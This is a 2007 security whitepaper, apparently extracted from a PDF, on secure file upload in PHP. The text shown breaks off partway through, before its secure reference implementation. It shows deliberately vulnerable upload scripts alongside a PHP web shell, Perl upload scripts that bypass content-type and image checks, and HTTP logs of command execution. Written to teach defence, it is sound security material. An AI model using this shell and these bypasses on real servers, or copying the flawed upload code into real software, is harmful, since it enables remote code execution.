Bld. du Roi Albert II, 27, B–1030 BRUSSELS
Tel. +32 2 203 82 82
Fax. +32 2 203 82 87
www.scanit.be
Secure file upload in PHP web applications
Alla Bezroutchko
June 13, 2007

---

Secure File Upload In PHP Web Applications
Table of Contents
Introduction.......................................................................................................................................... .............3
Naive implementation of file upload................................................................................................... ...............3
Content-type verification.................................................................................................................. .................5
Image file content verification.................................................................................................. .........................8
File name extension verification.................................................................................................................. ....12
Indirect access to the uploaded files.................................................................................................... ...........15
Local file inclusion attacks...................................................................................................... ........................16
Reference implementation................................................................................................................. .............17
Other issues................................................................................................................................................. ...19
Conclusion......................................................................................................................................... .............19
Page 2 of 20

---

Secure File Upload In PHP Web Applications
Introduction
Various web applications allow users to upload files. Web forums let users upload avatars.
Photo galleries let users upload pictures. Social networking web sites may allow uploading
pictures, videos, etc. Blog sites allow uploading avatars and/or pictures.
Providing file upload function without opening security holes proved to be quite a challenge
in PHP web applications. The applications we have tested suffered from a variety of
security problems, ranging from arbitrary file disclosure to remote arbitrary code execution.
In this article I am going to point out various security holes occurring in file upload
implementations and suggest a way to implement a secure file upload.
The examples shown in this article can be downloaded from
http://www.scanit.be/uploads/php-file-upload-examples.zip. If you want to test the
examples please make sure that the server you are using is not accessible from the
Internet or any other untrusted networks. The examples are provided to demonstrate
various security holes. Installing them on a server where those holes can be exploited is
not a good idea.
Naive implementation of file upload
Handling file uploads normally consists of two somewhat independent functions –
accepting files from a user and displaying files to the user. Both can be a source of
security problems. Let us consider the first naïve implementation:
Example 1. File upload (upload1.php) :
<?php
$uploaddir = 'uploads/'; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
Users will retrieve uploaded files by surfing to
http://www.example.com/uploads/filename.gif
Normally users will upload the files using a web form like the one shown below:
Page 3 of 20

---

Secure File Upload In PHP Web Applications
Example 1. Upload form (upload1.html)
<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-
data">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>
An attacker, however, does not have to use this form. He can write Perl scripts to do
uploads or use an intercepting proxy to modify the submitted data to his liking.
This implementation suffers from a major security hole. upload1.php allows users to
upload arbitrary files to the uploads/ directory under the web root. A malicious user can
upload a PHP file, such as a PHP shell and execute arbitrary commands on the server
with the privilege of the web server process. A PHP shell is a PHP script that allows a user
to run arbitrary shell commands on the server. A simple PHP shell is shown below:
<?php
system($_GET['command']);
?>
If this file is installed on a web server, anybody can execute shell commands on the server
by surfing to http://server/shell.php?command=

any_

Unix_shell_command


More advanced PHP shells can be found on the Internet. Those can allow uploading and
downloading arbitrary files, running SQL queries, etc.
The Perl script shown below uploads a PHP shell to the server using upload1.php:
#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new; # UserAgent is an HTTP client
$res = $ua->request(POST 'http://localhost/upload1.php', # send POST request
Content_Type => 'form-data', # The content type is
# multipart/form-data – the standard for form-based file uploads
Content => [
userfile => ["shell.php", "shell.php"], # The body of the
# request will contain the shell.php file
],
);
print $res->as_string(); # Print out the response from the server
This script uses libwwwperl which is a handy Perl library implementing an HTTP client.
Page 4 of 20

---

Secure File Upload In PHP Web Applications
When we run upload1.pl this is what happens on the wire (the client request is shown in
blue, the server reply in black):
POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.
After that we can request the uploaded file, and execute shell commands on the web
server:
$ curl http://localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)
cURL is a command-line HTTP client available on Unix and Windows. It is a very useful
tool for testing web applications. cURL can be downloaded from http://curl.haxx.se/
Content-type verification
Letting users run arbitrary code on the server and view arbitrary files is usually not the
intention of the webmaster. Thus most application take some precautions against it.
Consider example 2:
Example 2. File upload (upload2.php)
Page 5 of 20

---

Secure File Upload In PHP Web Applications
<?php
if($_FILES['userfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
In this case, if the attacker just tries to upload shell.php, the application will check the
MIME type in the upload request and refuse the file as shown in HTTP request and
response below:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images
So far, so good. Unfortunately, there is a way for the attacker to bypass this protection.
What the application checks is the value of the Content-type header. In the request above
it is set to "text/plain". However, nothing stops the attacker from setting it to "image/gif".
Page 6 of 20

---

Secure File Upload In PHP Web Applications
After all, the attacker completely controls the request that is being sent. Consider
upload2.pl script below:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload2.php',
Content_Type => 'form-data',
Content => [
userfile => ["shell.php", "shell.php", "Content-Type" =>
"image/gif"],
],
);
print $res->as_string();
Running this script produces the following HTTP request and response:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid, and was successfully uploaded.
</pre>
The upload2.pl script changes the Content-type header value to image/gif, which makes
upload2.php happily accept the file.
Page 7 of 20

---

Secure File Upload In PHP Web Applications
Image file content verification
Instead of trusting the Content-type header a PHP developer might decide to validate the
actual content of the uploaded file to make sure that it is indeed an image. The PHP
getimagesize() function is often used for that. getimagesize() takes a file name as an
argument and returns the size and type of the image. Consider upload3.php below.
Example 3. File upload (upload3.php)
<?php
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
Now if the attacker tries to upload shell.php even if he sets the Content-type header to
"image/gif", upload3.php won't accept it anymore:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Page 8 of 20

---

Secure File Upload In PHP Web Applications
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images
You would think that now the webmaster can rest assured that nobody can sneak in any
file that is not a proper GIF or JPEG image. Unfortunately, this is not enough. A file can be
a proper GIF or JPEG image and at the same time a valid PHP script. Most image formats
allow a text comment. It is possible to create a perfectly valid image file that contains some
PHP code in the comment. When getimagesize() looks at the file, it sees a proper GIF or
JPEG image. When the PHP interpreter looks at the file, it sees the executable PHP code
inside of some binary garbage. A sample file called crocus.gif can be downloaded together
with all the other examples in this article from http://www.scanit.be/uploads/php-file-
upload-examples.zip . A file like that can be created in any image editor that supports
editing GIF or JPEG comment, for example Gimp.
Consider upload3.pl:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload3.php',
Content_Type => 'form-data',
Content => [
userfile => ["crocus.gif", "crocus.php", "Content-Type" =>
"image/gif"],
],
);
print $res->as_string();
It takes the file crocus.gif and uploads it with the name of crocus.php. Running this script
results in the following HTTP exchange:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of
Page 9 of 20

---

Secure File Upload In PHP Web Applications
binary data ...)
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid, and was successfully uploaded.
</pre>
Now the attacker can request uploads/crocus.php:
Page 10 of 20

---

Document Outline

• ÿ
• ÿ
• ÿ
• ÿ
• ÿ

---